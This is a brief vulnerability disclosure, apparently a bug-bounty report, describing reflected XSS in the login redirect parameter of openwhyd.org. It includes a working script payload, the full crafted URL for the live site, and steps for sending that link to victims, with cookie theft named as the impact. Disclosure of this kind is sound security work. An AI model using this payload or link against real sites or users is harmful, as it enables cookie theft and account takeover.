Description

openwhyd is vulnerable to Reflected XSS vulnerability via the redirect parameter at login page.

Payload

<script>alert(document.cookie)</script>

Vulnerable URL

https://openwhyd.org/login?redirect=<script>alert(document.cookie)</script>

Proof of Concept

Send users the following login link https://openwhyd.org/login?redirect=<script>alert(document.cookie)</script>
After users use their registered account to log in, they will be triggered by the XSS popup.

Impact

This vulnerability has the potential to steal a user's cookie and gain unauthorized access to that user's account through the stolen cookie.